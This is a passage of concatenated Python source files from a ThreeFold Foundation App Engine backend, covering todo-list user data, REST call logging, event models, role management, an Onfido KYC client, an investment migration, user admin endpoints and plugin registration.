# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.api import system
from plugins.tff_backend.bizz import get_tf_token_api_key
from plugins.tff_backend.bizz.rogerthat import put_user_data
from plugins.tff_backend.bizz.todo.hoster import HosterSteps
from plugins.tff_backend.bizz.todo.investor import InvestorSteps
# The 'todo list' functionality is currently not used - consider removing it
@returns()
@arguments(email=unicode, app_id=unicode, step=unicode)
def update_hoster_progress(email, app_id, step):
list_id = 'hoster'
if HosterSteps.should_archive(step):
_remove_list(email, app_id, list_id)
return
progress = HosterSteps.get_progress(step)
_update_list(email, app_id, list_id, progress)
@returns()
@arguments(email=unicode, app_id=unicode, step=unicode)
def update_investor_progress(email, app_id, step):
list_id = 'investor'
if InvestorSteps.should_archive(step):
_remove_list(email, app_id, list_id)
return
progress = InvestorSteps.get_progress(step)
_update_list(email, app_id, list_id, progress)
@returns()
@arguments(email=unicode, app_id=unicode, list_id=unicode, progress=dict)
def _update_list(email, app_id, list_id, progress):
user_data_keys = ['todo_lists']
api_key = get_tf_token_api_key()
current_user_data = system.get_user_data(api_key, email, app_id, user_data_keys)
user_data = {}
if not current_user_data.get('todo_lists'):
user_data['todo_lists'] = [list_id]
elif list_id not in current_user_data.get('todo_lists'):
user_data['todo_lists'] = current_user_data.get('todo_lists') + [list_id]
user_data['todo_%s' % list_id] = progress
put_user_data(api_key, email, app_id, user_data)
@returns()
@arguments(email=unicode, app_id=unicode, list_id=unicode)
def _remove_list(email, app_id, list_id):
user_data_keys = ['todo_lists']
api_key = get_tf_token_api_key()
current_user_data = system.get_user_data(api_key, email, app_id, user_data_keys)
todo_lists = current_user_data.get('todo_lists') or []
if list_id in todo_lists:
todo_lists.remove(list_id)
user_data = {'todo_lists': todo_lists}
put_user_data(api_key, email, app_id, user_data)
system.del_user_data(api_key, email, app_id, ['todo_%s' % list_id])
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/statistics.py | <reponame>threefoldfoundation/app_backend<filename>plugins/tff_backend/bizz/statistics.py
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from framework.bizz.authentication import get_current_user_id
from framework.plugin_loader import get_plugin
from mcfw.consts import MISSING
from mcfw.rpc import serialize_value, get_type_details
class LogTypes(object):
WEB = 'tf.web'
def log_restapi_call_result(function, success, kwargs, result_or_error):
offload_plugin = get_plugin('log_offload')
if not offload_plugin:
return
if function.meta['silent']:
request_data = None
else:
kwarg_types = function.meta[u'kwarg_types']
request_data = {}
for arg, value in kwargs.iteritems():
if arg == 'accept_missing' or value is MISSING:
continue
request_data[arg] = serialize_value(value, *get_type_details(kwarg_types[arg], value), skip_missing=True)
if function.meta['silent_result']:
result = None
elif isinstance(result_or_error, Exception):
result = unicode(result_or_error)
else:
result = result_or_error
offload_plugin.create_log(get_current_user_id(), LogTypes.WEB, request_data, result, function.meta['uri'], success)
|
threefoldfoundation/app_backend | plugins/tff_backend/models/agenda.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.ext import ndb
from framework.models.common import NdbModel
from plugins.tff_backend.plugin_consts import NAMESPACE
class Event(NdbModel):
NAMESPACE = NAMESPACE
TYPE_EVENT = 1
TYPE_VIDEO_SESSION = 2
type = ndb.IntegerProperty(indexed=False, choices=[TYPE_EVENT, TYPE_VIDEO_SESSION], default=TYPE_EVENT)
title = ndb.StringProperty(indexed=False)
description = ndb.TextProperty(indexed=False)
start_timestamp = ndb.DateTimeProperty(indexed=True)
end_timestamp = ndb.DateTimeProperty(indexed=False)
past = ndb.BooleanProperty(indexed=True)
location = ndb.TextProperty(indexed=False)
creation_timestamp = ndb.DateTimeProperty(indexed=False, auto_now_add=True)
@property
def id(self):
return self.key.id()
@classmethod
def create_key(cls, event_id):
return ndb.Key(cls, event_id, namespace=NAMESPACE)
@classmethod
def list(cls, skip_past=True):
qry = cls.query()
if skip_past:
qry = qry.filter(Event.past == False) # noQA
return qry.order(Event.start_timestamp)
@classmethod
def list_by_past(cls, past=False):
qry = cls.query().filter(Event.past == past)
return qry.order(Event.start_timestamp)
@classmethod
def list_expired(cls, timestamp):
return cls.query().filter(Event.start_timestamp < timestamp).filter(Event.past == False) # noQA
class EventParticipant(NdbModel):
NAMESPACE = NAMESPACE
STATUS_PRESENT = 1
STATUS_UNKNOWN = 0
STATUS_ABSENT = -1
event_id = ndb.IntegerProperty(indexed=True)
username = ndb.StringProperty(indexed=True)
status = ndb.IntegerProperty(
indexed=True, choices=[STATUS_ABSENT, STATUS_UNKNOWN, STATUS_PRESENT], default=STATUS_UNKNOWN)
wants_recording = ndb.BooleanProperty(indexed=True, default=False)
modification_timestamp = ndb.DateTimeProperty(indexed=False, auto_now=True, auto_now_add=True)
@classmethod
def list_by_event(cls, event_id):
return cls.query().filter(cls.event_id == event_id).order(cls.username)
@classmethod
def get_participant(cls, event_id, username):
return cls.list_by_event(event_id).filter(cls.username == username).get()
@classmethod
def get_or_create_participant(cls, event_id, username):
return cls.get_participant(event_id, username) or cls(event_id=event_id, username=username)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/service.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from mcfw.cache import cached
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.api import system
from plugins.rogerthat_api.to import BaseMemberTO, UserDetailsTO
from plugins.rogerthat_api.to.system import RoleTO
from plugins.tff_backend.bizz import get_tf_token_api_key
@cached(version=1, lifetime=86400, request=True, memcache=True)
@returns(unicode)
@arguments()
def get_main_branding_hash():
api_key = get_tf_token_api_key()
si = system.get_identity(api_key)
return si.description_branding
@returns()
@arguments(user_detail=UserDetailsTO, role_name=unicode)
def add_user_to_role(user_detail, role_name):
logging.info('Adding user %s to role "%s"', user_detail.email, role_name)
api_key = get_tf_token_api_key()
role_id = get_role_id_by_name(api_key, role_name)
member = BaseMemberTO()
member.member = user_detail.email
member.app_id = user_detail.app_id
system.add_role_member(api_key, role_id, member)
@returns()
@arguments(user_detail=UserDetailsTO, role_name=unicode)
def remove_user_from_role(user_detail, role_name):
logging.info('Deleting user %s from role "%s"', user_detail.email, role_name)
api_key = get_tf_token_api_key()
role_id = get_role_id_by_name(api_key, role_name)
member = BaseMemberTO()
member.member = user_detail.email
member.app_id = user_detail.app_id
system.delete_role_member(api_key, role_id, member)
@cached(version=1, lifetime=86400, request=True, memcache=True)
@returns(long)
@arguments(api_key=unicode, role_name=unicode)
def get_role_id_by_name(api_key, role_name):
for role in system.list_roles(api_key):
if role.name == role_name:
return role.id
logging.debug('Role "%s" not found. Creating...', role_name)
return system.put_role(api_key, role_name, RoleTO.TYPE_MANAGED)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/kyc/onfido_bizz.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import json
import logging
from google.appengine.api import urlfetch
import onfido
from framework.plugin_loader import get_config
from mcfw.consts import DEBUG
from onfido import Applicant, Check
from onfido.rest import ApiException
from plugins.tff_backend.configuration import TffConfiguration
from plugins.tff_backend.plugin_consts import NAMESPACE
from urllib3 import encode_multipart_formdata
_client = None
def get_api_client():
if _client:
return _client
config = get_config(NAMESPACE)
assert isinstance(config, TffConfiguration)
if DEBUG:
assert config.onfido.api_key.startswith('test_')
onfido.configuration.api_key['Authorization'] = 'token=%s' % config.onfido.api_key
onfido.configuration.api_key_prefix['Authorization'] = 'Token'
api = onfido.DefaultApi()
globals()['_client'] = api
return api
def get_applicant(applicant_id):
# type: (str) -> Applicant
return get_api_client().find_applicant(applicant_id)
def create_applicant(applicant):
applicant.sandbox = DEBUG
return get_api_client().create_applicant(data=applicant)
def update_applicant(applicant_id, applicant):
# type: (str, Applicant) -> Applicant
applicant.sandbox = DEBUG
return get_api_client().update_applicant(applicant_id, data=applicant)
def list_applicants():
return get_api_client().list_applicants()
def upload_document(applicant_id, document_type, document_url, side=None):
# type: (str, str, str, str) -> onfido.Document
logging.info('Downloading %s', document_url)
file_response = urlfetch.fetch(document_url) # type: urlfetch._URLFetchResult
if file_response.status_code != 200:
raise ApiException(file_response.status_code, file_response.content)
content_type = file_response.headers.get('content-type', 'image/jpeg')
if 'png' in content_type:
file_name = '%s.png' % document_type
else:
file_name = '%s.jpg' % document_type
return _upload_document(applicant_id, document_type, side, file_name, file_response.content, content_type)
def _upload_document(applicant_id, document_type, side, file_name, file_content, content_type):
params = [
('type', document_type),
('file', (file_name, file_content, content_type)),
]
if side:
params.append(('side', side))
payload, payload_content_type = encode_multipart_formdata(params)
client = get_api_client()
headers = {
'Authorization': onfido.configuration.get_api_key_with_prefix('Authorization'),
'Content-Type': payload_content_type,
'Accept': 'application/json'
}
url = '%s/applicants/%s/documents' % (client.api_client.host, applicant_id)
response = urlfetch.fetch(url, payload, urlfetch.POST, headers=headers) # type: urlfetch._URLFetchResult
if response.status_code != 201:
raise ApiException(response.status_code, response.content)
return deserialize(json.loads(response.content), onfido.Document)
def create_check(applicant_id):
# type: (str) -> Check
reports = [
onfido.Report(name='identity', variant='kyc'),
onfido.Report(name='document'),
onfido.Report(name='watchlist', variant='full'),
]
check = Check(type='express', reports=reports)
result = get_api_client().create_check(applicant_id, data=check)
logging.info('Check result from Onfido: %s', result)
return result
def serialize(data):
return get_api_client().api_client.sanitize_for_serialization(data)
def deserialize(data, klass):
# Be my guest to improve this
# New class which inherits ApiClient fails with new public method
# Dynamically adding public method which calls private method fails
return get_api_client().api_client._ApiClient__deserialize(data, klass)
def list_checks(applicant_id):
# type: (str) -> list[onfido.Check]
# note that pagination does not work with this generated client
return get_api_client().list_checks(applicant_id).checks
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/fix_investments.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from google.appengine.ext import ndb
from plugins.tff_backend.bizz.investor import _set_token_count
from plugins.tff_backend.models.investor import InvestmentAgreement
def fix_investments():
investments = InvestmentAgreement.query().filter(InvestmentAgreement.status > InvestmentAgreement.STATUS_CANCELED)
to_put = []
to_fix = []
for agreement in investments: # type: InvestmentAgreement
if not agreement.token_count:
if not agreement.iyo_see_id:
_set_token_count(agreement)
to_put.append(agreement)
elif agreement.currency != 'BTC':
to_fix.append(agreement.id)
ndb.put_multi(to_put)
logging.warn('These investment agreements need manual migration: %s', to_fix)
def manual_fix():
to_fix = [5667908084563968]
mapping = {
5667908084563968: 0.85
} # Incomplete
to_put = []
agreements = ndb.get_multi([InvestmentAgreement.create_key(id) for id in to_fix])
for agreement in agreements: # type: InvestmentAgreement
if agreement.currency == 'USD':
conversion = 1
else:
conversion = mapping[agreement.id]
token_count_float = agreement.amount / (conversion * 5)
precision = 8 if agreement.currency == 'BTC' else 2
agreement.token_count = long(token_count_float * pow(10, precision))
agreement.token_precision = precision
to_put.append(agreement)
ndb.put_multi(to_put)
|
threefoldfoundation/app_backend | plugins/tff_backend/api/users.py | <filename>plugins/tff_backend/api/users.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from types import NoneType
from framework.bizz.authentication import get_current_session
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.audit.audit import audit
from plugins.tff_backend.bizz.audit.mapping import AuditLogType
from plugins.tff_backend.bizz.authentication import Scopes
from plugins.tff_backend.bizz.flow_statistics import list_flow_runs_by_user
from plugins.tff_backend.bizz.iyo.utils import get_app_user_from_iyo_username
from plugins.tff_backend.bizz.payment import get_pending_transactions, get_all_balances
from plugins.tff_backend.bizz.user import get_tff_profile, set_kyc_status, list_kyc_checks, set_utility_bill_verified, \
search_tff_profiles
from plugins.tff_backend.to.payment import PendingTransactionListTO, \
WalletBalanceTO
from plugins.tff_backend.to.user import SetKYCPayloadTO, TffProfileTO
from plugins.tff_backend.utils.search import sanitise_search_query
@rest('/users', 'get', Scopes.NODES_READONLY, silent_result=True)
@returns(dict)
@arguments(page_size=(int, long), cursor=unicode, query=unicode, kyc_status=(int, long, NoneType))
def api_search_users(page_size=50, cursor=None, query='', kyc_status=None):
filters = {'kyc_status': kyc_status}
profiles, cursor, more = search_tff_profiles(sanitise_search_query(query, filters), page_size, cursor)
return {
'cursor': cursor and cursor.web_safe_string.encode('utf-8'),
'more': more,
'results': [profile.to_dict() for profile in profiles],
}
@rest('/users/<username:[^/]+>', 'get', Scopes.NODES_READONLY, silent_result=True)
@returns(dict)
@arguments(username=str)
def api_get_user(username):
return TffProfileTO.from_model(get_tff_profile(username)).to_dict()
@audit(AuditLogType.SET_KYC_STATUS, 'username')
@rest('/users/<username:[^/]+>/kyc', 'put', Scopes.BACKEND_ADMIN)
@returns(TffProfileTO)
@arguments(username=str, data=SetKYCPayloadTO)
def api_set_kyc_status(username, data):
username = username.decode('utf-8') # username must be unicode
return TffProfileTO.from_model(set_kyc_status(username, data, get_current_session().user_id))
@rest('/users/<username:[^/]+>/kyc/utility-bill', 'put', Scopes.BACKEND_ADMIN)
@returns(TffProfileTO)
@arguments(username=str)
def api_set_utility_bill_verified(username):
username = username.decode('utf-8') # username must be unicode
return TffProfileTO.from_model(set_utility_bill_verified(username))
@rest('/users/<username:[^/]+>/transactions', 'get', Scopes.BACKEND_ADMIN)
@returns(PendingTransactionListTO)
@arguments(username=str, page_size=(int, long), cursor=unicode)
def api_get_transactions(username, page_size=50, cursor=None):
username = username.decode('utf-8') # username must be unicode
return PendingTransactionListTO.from_query(*get_pending_transactions(username, page_size, cursor))
@rest('/users/<username:[^/]+>/balance', 'get', Scopes.BACKEND_ADMIN)
@returns([WalletBalanceTO])
@arguments(username=str)
def api_get_balance(username):
username = username.decode('utf-8') # username must be unicode
return get_all_balances(username)
@rest('/users/<username:[^/]+>/kyc/checks', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns([dict])
@arguments(username=str)
def api_kyc_list_checks(username):
username = username.decode('utf-8') # username must be unicode
return list_kyc_checks(username)
@rest('/users/<username:[^/]+>/flows', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns(dict)
@arguments(username=str, page_size=(int, long), cursor=unicode)
def api_list_flow_runs_by_user(username=None, cursor=None, page_size=50):
username = username.decode('utf-8') # username must be unicode
results, cursor, more = list_flow_runs_by_user(username, cursor, page_size)
return {
'cursor': cursor and cursor.to_websafe_string(),
'more': more,
'results': [r.to_dict(exclude={'steps'}) for r in results]
}
|
threefoldfoundation/app_backend | plugins/tff_backend/to/global_stats.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.to import TO
from mcfw.properties import unicode_property, long_property, typed_property, float_property, \
bool_property
class CurrencyValueTO(TO):
currency = unicode_property('currency')
value = float_property('value')
timestamp = long_property('timestamp')
auto_update = bool_property('auto_update')
class GlobalStatsTO(TO):
id = unicode_property('id')
name = unicode_property('name')
token_count = long_property('token_count')
unlocked_count = long_property('unlocked_count')
value = float_property('value')
currencies = typed_property('currencies', CurrencyValueTO, True) # type: list[CurrencyValueTO]
market_cap = float_property('market_cap')
|
threefoldfoundation/app_backend | plugins/tff_backend/tff_backend_plugin.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.bizz.authentication import get_current_session
from framework.plugin_loader import get_plugin, BrandingPlugin
from framework.utils.plugins import Handler, Module
from mcfw.consts import AUTHENTICATED, NOT_AUTHENTICATED
from mcfw.restapi import rest_functions, register_postcall_hook
from mcfw.rpc import parse_complex_value
from plugins.rogerthat_api.rogerthat_api_plugin import RogerthatApiPlugin
from plugins.tff_backend import rogerthat_callbacks
from plugins.tff_backend.api import investor, nodes, global_stats, users, audit, agenda, flow_statistics, \
installations, nodes_unauthenticated
from plugins.tff_backend.bizz.authentication import get_permissions_from_scopes, get_permission_strings, Roles
from plugins.tff_backend.bizz.statistics import log_restapi_call_result
from plugins.tff_backend.configuration import TffConfiguration
from plugins.tff_backend.handlers.cron import RebuildSyncedRolesHandler, UpdateGlobalStatsHandler, \
SaveNodeStatusesHandler, BackupHandler, CheckNodesOnlineHandler, ExpiredEventsHandler, RebuildFirebaseHandler, \
CheckOfflineNodesHandler, CheckStuckFlowsHandler
from plugins.tff_backend.handlers.index import IndexPageHandler
from plugins.tff_backend.handlers.testing import AgreementsTestingPageHandler
from plugins.tff_backend.handlers.update_app import UpdateAppPageHandler
from plugins.tff_backend.patch_onfido_lib import patch_onfido_lib
class TffBackendPlugin(BrandingPlugin):
def __init__(self, configuration):
super(TffBackendPlugin, self).__init__(configuration)
self.configuration = parse_complex_value(TffConfiguration, configuration, False) # type: TffConfiguration
rogerthat_api_plugin = get_plugin('rogerthat_api')
assert (isinstance(rogerthat_api_plugin, RogerthatApiPlugin))
rogerthat_api_plugin.subscribe('app.installation_progress', rogerthat_callbacks.installation_progress)
rogerthat_api_plugin.subscribe('messaging.flow_member_result', rogerthat_callbacks.flow_member_result)
rogerthat_api_plugin.subscribe('messaging.form_update', rogerthat_callbacks.form_update)
rogerthat_api_plugin.subscribe('messaging.update', rogerthat_callbacks.messaging_update)
rogerthat_api_plugin.subscribe('messaging.poke', rogerthat_callbacks.messaging_poke)
rogerthat_api_plugin.subscribe('friend.is_in_roles', rogerthat_callbacks.friend_is_in_roles)
rogerthat_api_plugin.subscribe('friend.update', rogerthat_callbacks.friend_update)
rogerthat_api_plugin.subscribe('friend.invite_result', rogerthat_callbacks.friend_invite_result)
rogerthat_api_plugin.subscribe('friend.register_result', rogerthat_callbacks.friend_register_result)
rogerthat_api_plugin.subscribe('system.api_call', rogerthat_callbacks.system_api_call)
patch_onfido_lib()
register_postcall_hook(log_restapi_call_result)
def get_handlers(self, auth):
yield Handler(url='/', handler=IndexPageHandler)
yield Handler(url='/update-app', handler=UpdateAppPageHandler)
yield Handler(url='/testing/agreements', handler=AgreementsTestingPageHandler)
authenticated_handlers = [nodes, investor, global_stats, users, audit, agenda, flow_statistics, installations]
for _module in authenticated_handlers:
for url, handler in rest_functions(_module, authentication=AUTHENTICATED):
yield Handler(url=url, handler=handler)
not_authenticated_handlers = [nodes_unauthenticated]
for _module in not_authenticated_handlers:
for url, handler in rest_functions(_module, authentication=NOT_AUTHENTICATED):
yield Handler(url=url, handler=handler)
if auth == Handler.AUTH_ADMIN:
yield Handler(url='/admin/cron/tff_backend/backup', handler=BackupHandler)
yield Handler(url='/admin/cron/tff_backend/rebuild_synced_roles', handler=RebuildSyncedRolesHandler)
yield Handler(url='/admin/cron/tff_backend/global_stats', handler=UpdateGlobalStatsHandler)
yield Handler(url='/admin/cron/tff_backend/check_nodes_online', handler=CheckNodesOnlineHandler)
yield Handler(url='/admin/cron/tff_backend/check_offline_nodes', handler=CheckOfflineNodesHandler)
yield Handler(url='/admin/cron/tff_backend/save_node_statuses', handler=SaveNodeStatusesHandler)
yield Handler(url='/admin/cron/tff_backend/events/expired', handler=ExpiredEventsHandler)
yield Handler(url='/admin/cron/tff_backend/check_stuck_flows', handler=CheckStuckFlowsHandler)
yield Handler(url='/admin/cron/tff_backend/rebuild_firebase', handler=RebuildFirebaseHandler)
def get_client_routes(self):
return ['/orders<route:.*>', '/node-orders<route:.*>', '/investment-agreements<route:.*>',
'/global-stats<route:.*>', '/users<route:.*>', '/agenda<route:.*>', '/flow-statistics<route:.*>',
'/installations<route:.*>', '/dashboard<route:.*>', '/nodes<route:.*>']
def get_modules(self):
perms = get_permissions_from_scopes(get_current_session().scopes)
is_admin = Roles.BACKEND_ADMIN in perms or Roles.BACKEND in perms
yield Module(u'tff_dashboard', [], 0)
if is_admin or Roles.BACKEND_READONLY in perms:
yield Module(u'tff_orders', [], 1)
yield Module(u'tff_global_stats', [], 3)
yield Module(u'tff_users', [], 4)
yield Module(u'tff_agenda', [], 5)
yield Module(u'tff_flow_statistics', [], 6)
yield Module(u'tff_installations', [], 7)
for role in [Roles.BACKEND_READONLY, Roles.NODES, Roles.NODES_READONLY , Roles.NODES_ADMIN]:
if is_admin or role in perms:
yield Module(u'tff_nodes', [], 8)
break
if is_admin:
yield Module(u'tff_investment_agreements', [], 2)
def get_permissions(self):
return get_permission_strings(get_current_session().scopes)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.